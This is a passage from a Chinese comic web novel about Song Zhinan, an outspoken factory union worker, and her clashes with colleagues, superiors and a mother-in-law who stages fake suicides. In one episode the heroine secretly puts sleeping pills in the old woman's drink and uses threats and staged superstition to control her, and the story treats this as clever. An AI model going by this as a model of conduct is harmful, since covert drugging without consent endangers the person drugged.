他只想安安静静地当他的科长而已,咋就那么难呢? 宋知南不解地看着何科长:“何科长,你何出此言?我自从来到宣传科,每天勤勤恳恳兢兢业业,周有光钱解放三人在后面磨洋工,我跟李群英在前面冲锋。 我不但干好主业,还带好了副业。现在咱们厂区谁不知道星星之火文工队?要是没有我,咱们宣传科就里那大河里的小虾,谁也看不见它。是我让宣传科成为名副其实的宣传科,没有我的引领,咱们办公室就是一盘散沙。” “我自认没有一点差错。有人上吊,我就陪吊;有人喝药,我就干杯;有人撞墙,我在后面推。我这么好的人你还想怎样?做为领导,你得学会知足。” 杠精值60。 何科长心力交瘁,最后只好说道:“小宋,我送你四个字,过刚易折。你好自为之。” 宋知南说:“过刚易折,过柔易死。还好,我刚中带柔,恰到好处。” 杠精值30。 何科长无力地摆摆手,示意她可以出去了。 宋知南满面春风地走了出去,门外偷听的人一哄而散,各回各的岗位,都假装在忙碌。 何科长也跟着出来了,他环视一圈办公室里的其他人,突然觉得周有光这几个手下都挺好,都挺顺眼,他们是没本事,但也没本事惹事啊。幸亏他不是宋知南的真领导,真好呀。他以后要知足。 何科长一离开,办公室里的气氛重新活跃起来。 李群英递过来一张纸,上面画着一个五体投地的小人,一切尽在不言中。 宋知南在小人下面回了一句:“李爱卿平身。” 李群英噗嗤一声笑了出来,把纸条撕碎扔掉。 周有光钱解放三人互相挤眉弄眼,但他们什么也不敢说。宋知南连领导都敢杠,他们哪敢撞在她枪口上? 宋知南哼着歌儿给自己泡了杯茶:“东风吹,战鼓擂,世界上究竟谁怕谁。” 她唱着,对面的三人组身躯震着,这还要擂谁? 宋知南带着马五妮上吊的事,传得沸沸扬扬的。 有人从中顿悟:原来那些寻死觅活的老人都是纸老虎呀,真来真格的,自己先怂了。以后再有人这么搞,她们也学习宋知南。这个小宋的脑子就是灵活,什么主意都想得出来。 也有人笑话马五妮丢脸丢大发了。年轻人瞧不起她,中老年人也骂她,她的同道者也骂她把路走窄了。 这个马五妮破坏了寻死觅活届的规矩,寻死觅活赌的就是一个“怕”字,你明明知道他不是真的要寻死,但人人都怕那个万一,所以能妥协的就妥协,这就正好遂了他们的意。偏偏马五妮踢到了铁板,遇上啥都不怕的宋知南。 这个马五妮蠢啊,蠢在不会选择讹诈对象,你选谁不好,选宋知南?她这人能惹吗? 这下好了,让人家给破局了呢。以后再用这招,谁还信呢? 这个宋知南不但是男人的克星,还是中老年人的克星。 到了星期天,王翠花从亲戚家回来,她提着东西来看宋知南。 王翠花进门先道歉:“妹子,我婆婆的事我都听说了。真是对不起,是我连累了你,你受委屈了。” 宋知南满不在乎地说:“这没什么,你婆婆上吊就上呗,我拉到她路边的树下荡了会儿秋千。我给你讲,多上吊对颈椎有好处,我现在脖子可舒服了。” 王翠花都不知道该咋接这句话了,心中只有佩服。 宋知南见王翠花穿上了新衣裳,气色也变好了,十分欣慰,随口问道:“你在亲戚家过得怎样?” 王翠花一提到这个,话都变多了:“我过得很舒心,我不过是洗洗衣裳做做饭啥的,人家一家人对我可客气了,还夸我做的饭好吃。我那个表舅妈送了我一身衣裳和一瓶雪花膏。我回来时还非让我装一盒点心,弄得我挺不好意思的。我也是第一次知道,原来干家务活也会受人尊重。” 宋知南说:“那是当然,做家务非常有价值,任何劳动都有价值。只有那些侵占劳动成果的人才故意说这些没价值,要不然他们怎么剥削别人?” 王翠花说:“我也想明白了,要干活就不应该在自己家里干,你累死累活,人家还说你吃白饭。” 宋知南夸道:“王姐,你悟性挺高嘛。” 王翠花嘿嘿一笑,她扬扬手里的盒子,“我给你带回来半盒点心。你也尝尝。” 宋知南拒绝:“不用,我不缺吃的,你拿回去给你家孩子吃。” 王翠花直接把点心放到桌上:“他们的已经留好了,这就是给你的。你经常动脑子,就得好好补补。” 王翠花想起什么,赶紧补充道:“我把你的事讲给亲戚家的老太太听,哦对了,我现在叫她七姨姥姥。她听得直乐,还说要是有机会,她都想跟你唠一唠。” 宋知南点头:“老人家真是慧眼识珠啊。” “哈哈,可不是嘛。同样都是老年人,我这七姨姥姥可比我婆婆强太多了,我婆婆就会那三套,一哭二闹三上吊。对了,我七姨姥姥还认字,她也喜欢看书,她说要教我学文化。” “哇,那太好了。你要抓住机会好好学习。” “我一定好好学。” 提到上吊,宋知南突然临时起意,反正今天是星期天,正是娱乐放松的好日子,不如就地取材娱乐娱乐马老太? 想到这里,宋知南对王翠花说:“王姐,你等我一下,我跟你一起去你家。” “哦,好的。” 宋知南回屋拿了两张自己画的符箓,跟着王翠花起了她家。她男人出门去了,三个孩子在外面玩,家里只有马五妮在家。 马五妮一看到宋知南,不由得满脸紧张:“你来我家干啥?” 宋知南打量了一眼马五妮,压低声音说:“马大娘,咱们俩出事了,出大事了。” 第90章 马五妮斜睨着宋知南:“啥大事啊?要出事也是你出事, 咋还扯上我了?” 宋知南接着说:“事到如今,我也不瞒你了。我现在睡觉时就感觉脖子上凉飕飕的, 脖子根儿特别的僵硬,有时还头晕,我以前没这症状。你知道是什么原因吗?” 马五妮吓了一跳,刚好,她也有这种症状,她眼皮直跳,直觉没好事,但还是假装镇定地说道:“还能是啥原因,颈椎病呗。” 宋知南摇头:“不可能,我这么年轻怎么可能得颈椎病?你听我说完,后面还有呢, 我连着两晚梦见有个穿着白衣服、伸着长舌头、披头散发的女人在树上荡来荡去的, 还用那种特别恐怖的声音说, 来玩呀来玩呀。吓死我了。” 马五妮吓得背后一凉,连连后退几步。 宋知南把手里的符箓硬塞到马五妮手里, 小声说:“我找专业的人问过了, 那人说,咱们假装上吊,让吊死鬼发现了,以为他们又要多一个同伴,可高兴了。没想到咱俩只是假装上吊,对方觉得咱们耍他们玩,就来召唤咱俩。这个符, 你晚上睡觉放在枕头边上吧,略有点用。我怕他们把你给召唤走以后, 全力盯着我,要不然我才不舍得给你符箓呢。” 马五妮目露惊恐,突然觉得脖子凉飕飕的。 宋知南唉声叹气,一副悔不当初的模样:“真的,我真傻,你上吊就让你上去,我为啥非跟你一起呢?你年纪大了,没几年活头了,可我还年轻呢。都是你害了我。” 马五妮本来就有点迷信,现在已经信了几分,但她还是强撑着质疑宋知南:“我不信,你一定是蒙我的。” 宋知南翻了个白眼:“我一个以大胆出名的人被吓得睡不好觉,跟你暴露我的脆弱,你竟然不相信我?随你吧,爱信不信。等你被召唤走就知道了。对了,这事你可别告诉别人,要是有人举报我搞封建迷信,我就把你供出来。反正我这人就是这种性子,就算死我也一定要拉个垫背的。” 马五妮吓得瘫坐在椅子上,半晌说不出话来。 她摸摸自己的脖子,只觉得越来越僵硬,越来越难受。 她也后悔呀,她为啥非要去假装上吊呢。这下好了,她不但在活人面前丢了脸,还在吊死鬼那边挂了号,这可怎么办? 王翠花见宋知南小声说了几句话,刚才还挺嚣张的婆婆突然像被抽了筋骨似的颓丧起来,心中十分不解。 宋知南跟一脸茫然的王翠花告辞:“大姐,我刚刚跟马大娘做了会儿思想工作,她听进去了。我走了哈,你好好照顾马大娘。” “你留下吃饭吧。” 宋知南:“不了,我回去还有事。” 宋知南一走,王翠花就冲进屋里问马五妮:“娘,刚才小宋跟你说什么了?” 马五妮心里正烦着,一句话撅回去:“我的事你别管。要不是因为你,我也不会落到这个地步。” 王翠花撇嘴:“你就知足吧,小宋刚才对你挺客气了,连说话都那么小声,你看她骂别人是怎么骂的?” 马五妮此时连架都懒得吵了,她把王翠花轰出去,关上门,躺在床上唉声叹气。 宋知南一离开王翠花家,就忍不住哼唱起来。 一般的老年人有点颈椎病那是再正常不过,她再来点心理暗示,马五妮肯定会疑神疑鬼,看她以后还敢上吊威胁人? 第二天是周一,一上班,何科长就告诉宋知南说,工会通知她去开会。 宋知南一进工会办公室,就迎来了各式各样的目光,有人好奇,有人幸灾乐祸,有的人纯看热闹,只有贺主任和杨主任的眼神里带着一丝担忧。 孙主席一看到宋知南就忍不住头疼,贺主任和杨主任提过几次让宋知南重新回到妇联办公室。 可是孙主席怕把宋知南放在调解前线,她会惹出更多的事来。就比如说马老太上吊的事,造成的影响很不好,工人们说什么的都有。 按照他的理解,有人来闹事上吊,你怎么着也得劝着哄着,大事化小,小事化了。这个宋知南倒好,把事情闹得更大。直接带着人家马老太一起去上吊,这像话吗?批评,必须得狠狠地批评。 见大家都到齐了,孙主席环视一圈众人,慢条斯理地说道:“大家都到齐了,我来说一件事,上周五,咱们厂发生了一件影响很坏的事情,有个职工家属要来妇联门口上吊。” 众人的目光刷地一下全部集中到宋知南身上。 宋知南正襟危坐,面无表情。 孙主席突然拍了一下桌子:“这种时候,做为工作人员应该怎么办?是不是劝着哄着,想尽一切办法把事情化小化了?可是有些同志,不但不这样做,反而把事情往大了闹,竟然带着家属一起上吊,你们说,这像话吗?” 会议室鸦雀无声,杨主任动了动嘴,准备开口。 只听得啪地一声响,桌子又被人拍了一下,震得旁边的搪瓷缸子跳了一下。 众人的目光集中在拍桌子的人身上,好家伙,是宋知南拍的。 孙主席面容严肃,眯着眼,这是要发火的前兆。 宋知南飞快地说道:“孙主席说得太对了,这个马五妮太不像话了。你说她一把年纪了,怎么就没有一点觉悟呢。还动不动假装上吊实则荡秋千玩,我自从托儿所毕业后就不玩这个游戏了。” 王登提醒道:“宋同志,这是在开会,请你严肃些。” 宋知南瞪了王登一眼:“王同志,我是在发言,请你不要随意打断我的话,这很不礼貌。” 杠精值加30。 宋知南看向孙主席,接着发言:“孙主席,我觉得上吊这种事,绝对不能随便开头。你想啊,要是马五妮来妇联上吊,我们就软了怂了,她有什么诉求我们就赶紧答应。您知道后面会发生什么事吗?” 孙主席面无表情:“你接着说吧。” 宋知南:“就比如厂里发福利或者分房时,有人没拿到自己想要的,也学着马五妮上吊喝药,咱们该怎么办?你若依了他,别人也有样学样,那厂里的规章制度还怎么执行?” “我当时那么做,表面上看上去像是在胡闹,实则用意深远。我就是借此事告诉大家,一切都要依法行事,光靠闹是不行的。我们国家是依法治国,以伟大的领袖精神为导航,不能靠闹分配。” “我知道,在座的各位都十分爱惜自己的名声,你们都不想当这个出头的坏人。有些人是不忍,有些人是不敢。但我跟你们不一样。我的岗位在妇联,我奋战在妇女解放的最前沿。我不当这个坏人谁当?为了维护厂里的规章制度,为了各位领导的名声和威望,我来当这个坏人。你们说,我这样的职工上哪儿找?” 众人的嘴张成半圆形。 宋知南的目光看向孙主席:“孙主席,我是工会的一员,您时常鼓励我们,要做个一个新时代的革命青年,要敢说要做,敢为天下先。我一直以这个标准来要求自己,我一心为公,没有私心,不怕得罪人。为了革命事业,我连自己的亲哥哥都拿出来当素材演讲;为了妇女解放,我宁愿忍着男同志对我的孤立和排挤。您就说吧,我这样的职工上哪儿找?” 孙主席:“……”怎么?他还得表扬她不成? 宋知南又拍了一下桌子,说道:“我请求把我调回妇联去,我要重回我的岗位。我也请求组织多加担子在我肩上。 古代的领导人,用千金买马骨来证明自己重视人才,我们新时代的领导一定会比古人看得更高很远,你们就更应该重用我这样的人,因为连我这种敢跟领导硬顶硬撞的职工都能得到重用,大家谁不夸咱们纺织厂的领导有眼光有心胸敢用人?” 孙主席眯着眼看着宋知南,他活这么大,第一次见到有人这么大言不惭地吹捧自己。他们厂里真是藏龙卧虎呀。 宋知南见大家没什么反应,也不好冷场,只好继续说道:“关于马五妮上吊的事,我又想出了更好的解决办法。开完会后,我亲自上门给马五妮做思想工作,我一定要提升她的觉悟,让她忏悔,并且保证以后再也不在公共场合上吊。” 杨主任接过话说道:“小宋,那你就去做老马同志的思想工作。如果你能妥善处理此事,我就让你重回妇联,你在宣传科学习得也差不多了。” 说着,她看向孙主席,孙主席这次没反对。因为何科长已经委婉向他提出,想让宋知南回来。两方的人,一个想赶人,一个想要人,如果现在宋知南妥善解决了马五妮的事情,她想回妇联就让她回吧。 宋知南看向杨主任:“杨主任,咱们工会的老好人太多了,就需要我这样的人。俗话说,人过一百,形形色色,有的差火有的缺德。我正好用来对付那些缺德差火的人。为了人民,为了同胞姐妹们,我不在乎名声。” 杨主任:“……”她突然不知道该说什么好。 宋知南坚决不让一句话落到地上,自己接住了自己的梗:“杨主任你不必替我惋惜。有所得就必有所失,人生在世岂能事事如意,我只求问心无愧。” 杨主任:“行吧,你注意安全。” 宋知南还没下班就风风火火地出门了,她径直来到王翠花家,一看到马五妮神情萎靡,毫无精神,就知道她昨晚肯定没睡好。 马五妮一见到她就心生警惕:“翠花不在家,她去她表舅家了。” 宋知南说:“我知道,我就是来找你的。” 宋知南看看左右,压低声音,神秘兮兮地说道:“我找到化解办法了,你明天要晒一整天太阳,把身上的阴气邪气全晒跑,晚上7点到我家来找我。” 马五妮斜眼看着她:“你这是要搞啥名堂?” 宋知南严肃地说:“别问,问多了就不灵了。对了,你不准告诉任何人,只要有人举报,我就供出你,不但供出你,还供出你儿子。” 马五妮:“……” 马五妮将信将疑,心神不宁。 第二天她一直在院子里晒太阳,别说,晒得还真舒服,心情都好了许多。 晒了一天的太阳,马五妮心不在焉地吃了晚饭,迟疑片刻,还是去了宋知南家。 这是马五妮第一次来宋知南家,宋知南对她态度还算可以,也不怎么跟她寒暄,直接进入正题。 宋知南指着一盆飘着纸灰的水,说:“这是我花大价钱请来的符水,别问我从哪儿请来的,非常时期,人家大仙不让说。你先用符水洗手,过来给按肩膀。” 马五妮看着宋知南:“你这是在使唤我?” 宋知南不耐烦地说:“别废话,快按我说的做,一会儿我告诉你原因。” 马五妮不情不愿地去洗了手,不情不愿地给宋知南按摩肩膀。 宋知南一边享受着马五妮的按摩,一边跟她说:“这符水是有讲究的,是用来驱邪的。我冒着被举报的风险花了大价钱请来的,真是便宜你了。” 马五妮手上的动作一顿:“你该不会找我平摊吧?我可没钱。” 宋知南:“算了,知道你抠,不跟你计较。现在我心烦得很,只想赶紧把这个事情解决掉。” 马五妮不说话,继续帮宋知南按肩膀,按了约有20分钟,她的手都酸了。 宋知南让她停下,她也用符水洗了手,给马五妮按肩膀,马五妮有些受宠若惊。 只按了几下,宋知南就停了下来,马五妮不解地问:“咋这么快就停下来了?”她刚才可按了20分钟呢。 宋知南说:“我这人心里都是正义,浑身充满正气,驱邪效果加倍。我按一下顶你几十下。” 说着,她还送给马五妮一幅领袖画像,一枚领袖像章:“你把画像挂在床头,可以镇邪。像章也可以辟邪,咱俩再喝掉一碗符水,看看明天效果怎样。” 这符水是用大枣桂圆和枸杞熬的,挺甜挺好喝。 马五妮看着宋知南把碗里黑红色的符水一饮而尽,也不再怀疑,端起来痛快地喝了。 “这符水咋是甜的?” 宋知南说:“我加了糖,能不甜吗?” 宋知南说完,摆摆手:“行啦,你回去吧,明天中午我去你家找你。牢记我的话,把事情烂在肚子里,谁也别说。咱俩现在可是一条绳子上的蚂蚱。” “行,我知道了,你当我傻呀。” 封建迷信是俩人一起搞的,她要说出去连自己也一起坑。 马五妮拿着领袖画像和像章回去了。 她刚到家不久,就忍不住打了个长长的哈欠,这么快就困了?难道说这符水管用? 马五妮把家里拾掇好,回房睡觉。她这一觉睡得十分深沉,连那些乱七八糟的梦都没做,一觉睡到天亮。 能不睡得深沉吗?白天晒了一天太阳,宋知南还在她那碗符水里放了点安眠药,双管齐下,怎么可能没有效果? 马五妮开动她的老脑瓜,心里琢磨着,这个小宋真有两下子,连这行都懂。看来以后她得小心些。要是宋知南扎小人在背后里阴她整她怎么办?她可不是怕了宋知南,她年纪大,不跟小年轻一般见识。 宋知南中午一下班,就来找马五妮。 她进来都没问昨天的效果怎样,好像特别笃定效果一定很好似的。 宋知南用公事公办的语气说:“马大娘,咱俩在门口上吊的事在纺织厂影响不太好,孙主席气得直拍桌子,先骂你一把年纪没有觉悟,还说他治不了你可以治你儿子。” 马五妮赶紧说:“我的事跟我儿子啥关系?” 宋知南:“这谁知道,领导的心思咱哪能猜得准。他还批评我了,但我是谁呀?我天不怕地不怕,老虎屁股也敢摸两下,我就跟他硬顶。” 马五妮:“……” 宋知南接着说:“你也别担心,就凭你儿子那德性,孙主席能治的也有限。孙主席要找你谈话,你现在就跟我过去表个态,要是孙住席不记较,这事就算过去了。咱俩之间的事也就了结了。” 马五妮乖乖地跟着宋知南到了工会办公室,乖乖地跟孙主席说:“孙主席,我这人没啥文化,啥也不懂,我保证以后再也不这么做了。” 马五妮是出了名的难缠不讲理,她突然这么明事理,还过来乖乖认错了,孙主席总感觉哪里不对劲。 他想来想去,想到一个可能,那就是马五妮被宋知南威胁了。 孙主席一脸狐疑:“马老同志,你没受到什么人胁迫吧?” 马五妮连连摆手:“没有没有。宋同志人特别好,特别有本事。她给我做通了思想工作。”宋知南连驱邪都会,能没本事吗? 孙主席疑惑地看着马五妮和宋知南。 宋知南一脸谦虚:“都是孙主席和杨主任教的好,我们工会的人都是全心全意为人民服务。” 孙主席脱口而出:“不,这都是你自己的本事,我什么也没教你。” 他教宋知南什么了?人家的怼人和惹事的本领,他教得了吗?这话要是传出去,领导怎么看他,同行怎么看他? 宋知南无奈地看着孙主席,她就是客气一下,对方反应怎么那么大? 对方的反应越大,她就觉得越好玩。别人喜欢逗小孩,她不一样,她喜欢逗领导玩。 90-100 第91章 宋知南转过头笑着对马五妮说:“你看我们孙主席多谦虚多低调, 明明他教人教得这么好,就是不愿居功。” 孙主席:“……”这还有完没完了。 马五妮来都来道歉了, 也保证以后再不再上吊,孙主席也不好再说什么。最主要的是,他现在不想跟宋知南多说话,赶紧让俩人出去。 “那行,此事就到此为止,你们出去吧。” 马五妮离开了,宋知南还逗留在办公室,用诚挚的语气问孙主席:“孙主席,你就说,我这事办得好不好吧?” 孙主席无奈地说:“办得特别好,如果你以后别惹事, 那就更好了。” 宋知南只听前半句, 后半句她忽略了, 她满意地离开了办公室。 春节过后,大家的工作和生活开始逐步恢复正常。宋知南接到通知, 她即将结束短暂的借调生涯, 重新回到妇联办公室,继续战斗在妇女解放第一线。 这个消息一传出来,有人欢喜有人难过。欢喜的是何黛,工作搭子和饭搭子终于回来了,真是喜大普奔。 难过的是李群英,欢乐的时光总是那么短暂。宋知南一走,办公室里只剩下她一个人, 你说还有另外三人,那三个都不是人, 他们都是牛鬼蛇神。 唯一让李群英欣慰的是两人是邻居,就算上班不能在一起,下班后还可以在一起玩耍。 周有光钱解放三人暗暗欢呼,宋知南这个瘟神终于要离开了,天知道,他们这段日子是怎么熬过来的?说出去都有点丢人,明明他们三个是地头蛇,但现在老窝却被人家宋知南给把控着,他们再也不像以前那样随意说笑,随意调侃别人了。更可怕的是,他们看不顺眼的李群英总跟着宋知南学习,这样下去还了得? 周有光听说宋知南要调回去,就打起了星星之火文工队的主意。这个文工队是他们宣传科牵头办的的,宋知南重回妇联,她得调解工人的矛盾,应该没时间管文工队了吧?至于李群英,她也没那个能耐管吧?何科长是不是得挑一个有能力又有威望的老职工去管? 宋知南仿佛听见了周有光的心声,她跟何科长道别时,顺便提起文工队的事:“何科长,这文工队是我跟群英一手建的,人是我们找的,节目也是我们编的,而且里面大半节目是自带的。我要是突然撒手不管,显得我很不负责任,我的意思是,文工队还是我和群英管着,你看怎么样?” 何科长试探道:“你一人兼着两件事,忙得过来吗?” 宋知南:“没问题,我天生精力旺盛,就适合挑重担多干事。星星之火已经打出了名气,多少人等着我们去演出,把队伍交给那些能力低下又没有革命觉悟的人,我实在是不放心。” 何科长:“……” 你这是点我办公室的其他人吧? 何科长正在考虑怎么答复宋知南,李群英在外面轻轻敲门。 “进来。” 李群英一进来就开门见山地说道:“咱们文工队可以没有我,也可以没有其他人,但不能没有宋知南,她就是文工队的灵魂。如果她要是撒手不管了,那我也不干了,因为没有她,我也玩不转。” 李群英的意思很明白,何科长要是硬把文工队交给别人来管,她也不干了。她现在跟聪明有能力的人共事久了,再看那些愚蠢的酒囊饭袋就本能地厌恶。 别以为她看不出来,周有光钱解放两人已经开始蠢蠢欲动了。 何科长看着两人,两个太阳穴一起跳动起来。他想了又想,发现也没有更好的解决办法。队伍是人家两人拉起来的,节目是人家两人出的,他能说什么? 何科长和蔼地说道:“我本来就打算让小宋继续管着文工队,只是担心她忙不过来,她能两者兼顾,那就最好不过。” 何科长一锤定音,为了防止有人生出旁的心思给他添麻烦,何科长索性在办公室里宣布此事。 周有光钱解放三人一听,人都气傻了。 他们天天盼着能赶走宋知南,就像小时候盼着过新年一样。现在倒好,她人是要走了,但魂儿还留在办公室,真是阴魂不散呐。 周有光最先跳出来:“科长,宋知南都不是咱宣传科的人了,凭什么还要管着文工队?” 何科长:“小宋以前也不是咱办公室的人呀,她本来就是借调来的。文工队是她和小李一手拉起的队伍,节目也是人家出的。没有她俩,你们三个谁能想出节目?谁会写剧本?” 他这话一出,三人顿时哑了。 “文工队属于纺织厂,不属于咱们宣传科。行啦,就这么着吧。” 何科长说完回他的小办公室去了。 宋知南开始收拾自己的东西,她一边收拾一边大声跟李群英说话。 “群英,我走了。以后有什么事可以叫我。你是我的好朋友,为了你,我可以插别人两刀。” 周有光钱解放三人面面相觑,这是说给他们听的呗。 李群英面带笑容:“有你这句话就够了,你放心,我现在今非昔比了。” 宋知南:“咱俩团结为一体,试看天下谁能敌。” 空气突然安静下来,周有光和钱解放抬头望着天花板,敢怒不敢言。 宋知南抱着东西离开了,李群英去送她。 两人刚一离开办公室,身后就传来了一阵欢呼声。 宋知南笑着说:“这几个也真够含蓄的,在背后欢送我呢。” 李群英笑而不语,果然,一切反动派都是纸老虎。 宋知南回到妇联办公室,何黛嗷嗷欢呼起来,李群英把东西放下,黯然离去。宋知南最终还是回到小何身边去了。 年后一上班,纺织厂的人事就有了大变动。 先是有人举报李副厂长贪污受贿、骚扰女职工,有关部门来厂里调查情况,吴厂长全力配合,经调查情况属实,李副厂长被带走隔离审查。 接替李副厂长位置的则是孙主席,杨主任则接替孙主席工会主席的职位。据说,贺主任有可能接任杨主任原来的位置。 有人事变动的不仅仅是纺织厂,还有隔壁的机械厂,霍峥嵘的父亲霍副总工不用说,早被发配到边疆劳改去了,跟他有牵扯的人也受到了不同程度的牵连,这些人宋知南不认识也就不再关注。 过了两天,吴明珠告诉宋知南,本周日上午九点,让宋知夏来广播站考试。合格就上岗,不合格她就招别人。 宋知夏接到通知后,既激动又紧张,“三妹,你说我真的能行吗?” “这些日子你不是一直在练习吗?绝对能行,别紧张。” 广播站的考试内容分笔试和面试,主考官就是吴明珠。吴明珠也没特意放水,宋知夏是高中毕业,文化基础不错,再加上这段时间又是练普通话又是练习写文章的,多少有点效果。 两个小时后,宋知夏神色激动地跑回来,宋知南一看就知道事情成了。 她激动地抱住宋知南,哽咽道:“三妹,谢谢你。我以前不是个好姐姐,我以后一定会对你好的。” 宋知南不太习惯这种亲热,轻轻推开她,说道:“行啦,别煽情啦。以后好好干,别丢我的脸。” “你放心,我一定会好好干的。” “吴明珠真是个好人。” “那当然,也不看是谁的朋友。” 宋知夏成功进入广播站后,在厂里引起了小范围的轰动。有人羡慕,有人酸,朝里有人就是好做官。真是一人得道,鸡犬升天。 消息先传到李玉华和宋上进耳朵里,两人又是一阵恍惚。 李玉华对宋知夏的感情也只是比宋知南略多一点点而已,母爱非常有限。女儿有正式工作,她有点高兴,但不多。 而且她还有点愤愤不平,这么好的工作怎么就便宜了陈家?同时,她又想到,这么看来,三女儿也不是彻底冷漠无情,她至少还知道帮自己姐姐,那她是不是以后也会帮助冬宝呢? 李玉华思来想去,心绪十分复杂。宋上进跟李玉华想得差不多。 两人同时又想到大儿子宋秋实,不约而同地叹了口气。 随着时间的流逝,两人的痛苦已经减轻了很多,再加上他们把注意力放到了宋冬宝身上,宋秋实在家中的地位在一点点下降。但不管怎么说,宋秋实也是他们精心培养并给予厚望的长子,一想起来,心口还是隐隐作痛。两人相顾无言,只剩叹息。 “如果当初小四肯把秋实弄回城,也许他就不会出这档子事。” “秋实毕竟是她亲哥啊,这个狠心的东西就那么眼睁睁地看着自己哥哥进火坑。” “养不熟的白眼狼。” “事已至此,说什么也没用了。” …… 宋知南的大伯母何梅得知宋知夏进了广播站后,既诧异又服气:“嚯,这个小南还真有本事,我以前竟小看她了。” 她转头对女儿宋湘说道:“湘湘,你以后多跟她俩来往,你们毕竟是堂姐妹,总比外人亲吧?” 宋湘点头回应:“嗯,我也觉得小南挺不错,她跟她妈不一样。” 何梅想了一会儿,又说:“你有空去找一下小南,让她和知夏来咱家吃饭。上次我就说让她们有空来家里玩,这俩孩子一直忙,也没时间来。” “哎,行。” 宋湘穿着浅黄色呢子大衣,踩着坡跟皮靴出现在妇联门口时,何黛的眼睛都亮了。 宋知南热情招呼道:“湘湘姐。” 宋湘打量了一下办公室,笑着说:“小南,你忙你的,我就是来告诉你一声,这个星期天中午,我妈请你和知夏到我家吃饭,你俩一定要来哦。” 宋知南爽快答应:“好的,我们一定准时到。” 宋知南送宋湘出去,还顺嘴夸了一下她的衣服:“姐,你这身衣裳真好看。” 宋湘说道:“我毕竟是服装厂的嘛,我在学做衣服,等以后有空了也给你做身衣裳。” “谢谢姐。” 宋知南一回来,何黛就夸道:“你姐长得真好看,身上的大衣也挺好看。” 宋知南说:“她在服装厂工作,近水楼台先得月。” “哇,怪不得呢。” 下班时,宋知夏跟着宋知南回家,宋知南顺便告诉她大伯母请她们吃饭的事。 宋知夏有些诧异:“大伯母这人特别精明,一点亏都不肯吃的主儿,怎么突然要请咱俩吃饭?” “咱俩地位今非昔比了,你得适应。” 宋知夏无奈地笑笑:“只能是这个解释了,人心真是势利呀。我才上班两天,就感觉到家庭地位的变化了。陈安华和他爸妈对我突然客气了。” 宋知南有感而发:“这很正常。男人比女人还势利。他们习惯把女人划分成三六九等,你是什么等级就是什么待遇。他们对权力和阶级特别敏感,每一个人都牢牢握住自己的权力,自己有一点优势就大夸特夸,对于女人的优势则是尽可能的诋毁和打压,让你产生自我怀疑。他们接近你是想从你身上得到点什么,而不是给你点什么。很多女人跟他们一比就显得太没有斗争经验了。当然,这也不能全怪咱们女人,毕竟人家男人围猎了女人几千年,经验特别丰富,还有很多案例可以学习。咱们女人才解放二十年,差得远呐。” 宋知夏默然不语,陷入了浅浅的思考。要是以前妹妹跟她说这些,她会觉得对方不正常,现在嘛,她也有点不正常了。很多以前习以为常、甚至深信不疑的东西,她现在也开始怀疑了。他们说得都是对的吗?凭什么呢? 很快就到了星期天上午,宋知南收拾妥当,喂完猫狗,提着个布袋,里面装着两包点心和一瓶黄桃罐头,罐头都是她用杠精值在系统商城买的。 自从知道杠精值可以兑换寿命后,在没有挣出105年的杠精值以前,宋知南花杠精值很谨慎,不像以前那样大手大脚了,非必要不下单,要买也捡便宜的买。这罐头不知道为什么就很便宜,一个杠精值能买两罐。 两人之前约好的在路口见面,宋知南刚到,宋知夏就提着东西匆匆忙忙地赶来了。 她一来就气愤地说:“我真是烦死我那个公公了,我出门他恨不得检查一遍,生怕我拿了他家的东西。” 宋知南劝道:“不要因为畜生生气,不值得。” 宋知夏叹了口气:“没事,我骂两句就过去了。还有,我公公和咱爸妈都要求我上交工资,我才上班几天,这就都惦记上了。” 宋知南反问:“那你呢?打算上交吗?” 宋知夏摇头:“我一分钱都不想上交。我跟爸妈说,我是嫁出去的姑娘,你们见过哪家的姑娘嫁人了还给娘家上交工资?你让我婆家怎么说?我对我公婆说,我这个工作是你托人买的,钱是找你借的,我得攒钱还你。反正他们旁敲侧击,我就装听不懂;他们要是明说,我就发疯。” 宋知南称赞道:“干得漂亮,就是要这样。” 宋知夏说:“估计他们两边都会骂我自私,但我无所谓了。” 宋知南笑着说:“他们说你自私,你就要真的自私,要不然就白担这个虚名了。咱们宋家的人都自私冷血不要脸,咱俩肯定也有这方面的遗传,咱俩要争取做到青出蓝而胜于蓝,要比他们更有见识更有文化还更不要脸。” 第92章 姐妹两人说话间就到了大伯母家, 大伯宋自强今天也在家。宋自强跟宋上进长得有三分相像,不过比宋上进个子高些, 气质斯文些。宋自强是宋家第一个中专生,也是宋家第一个进城的,宋上进就是他给弄进城的。 宋上进有点贪心不足,一会儿嫌工作不好,一会儿嫌分的房子不大,他觉得大哥家条件比他好,就应该多帮他。 宋自强和何梅也是不肯吃亏的人,两家之间的矛盾越来越多,再加上老家父母亲戚的瞎掺和,到最后兄弟俩形同陌路。两家也就婚丧嫁娶时会来往一下,平常很少走动。 小孩之间没那么讲究, 宋知南和宋知夏小时候去找宋湘玩, 回来被父母打了一顿, 以后也不敢去了。 “大伯,大伯母, 湘湘。” 两人挨个打招呼, 顺便把带来的礼物放到桌上。 何梅嗔怪道:“来就来了,还带啥东西呀。” 嘴里这么说着,何梅的眼睛扫了一眼桌上的东西,十分满意,这个小南是个大方的,比她那抠门的爸妈强多了。 宋自强和何梅的脸上洋溢着热情的笑容,何梅拉着姐妹两人嘘寒问暖。 “哎哟, 小南,你又长高了, 比以前白胖多了。女孩子就是要胖些才好看。知夏你瞧着气色也不错。你说你俩,一个在妇联一个在广播站,都是体面的好工作。不像我,天天在药房窝着,身上总有一股散不去的药味。” 宋知南说:“大伯母,药房的工作多好啊,人人都离不了。” “你这孩子真会说话。” 何梅说着话,突然想起什么,拿出两个纸袋递给两人,“这里面有治疗伤风感冒的药,还有三瓶枇杷膏,给你们。” 宋自强和宋湘一起说:“大过年的,你送人家药,合适吗?” 何梅讪笑一声:“咱自家人哪有那么多讲究?” 主要是这些药都是从单位低价拿的,拿来送人惠而不费,就是时间上不合适。 宋知南倒没有这些讲究,愉快地收下了:“我正好吃多了油腻的东西,嗓子有些不清爽,喝点枇杷膏挺好的。” 宋知夏也跟着表示感谢。 何梅满意地笑了,这俩孩子没随她们爸妈,大方懂礼节不说,还会说话。哪像那两人,自己一毛不拔,你送再多东西,人家都嫌少,好像谁欠他们似的。 宋湘送了宋知夏两条手帕,给宋知南一顶卡其布做的帽子,一双手套。 宋知南挺喜欢这顶帽子,戴上去一试,还真挺合适。 她由衷地夸道:“湘湘姐,你的品味可真好,你上次去我单位,我同事还夸你的衣服好看。” 宋湘被夸得不好意思地笑笑。 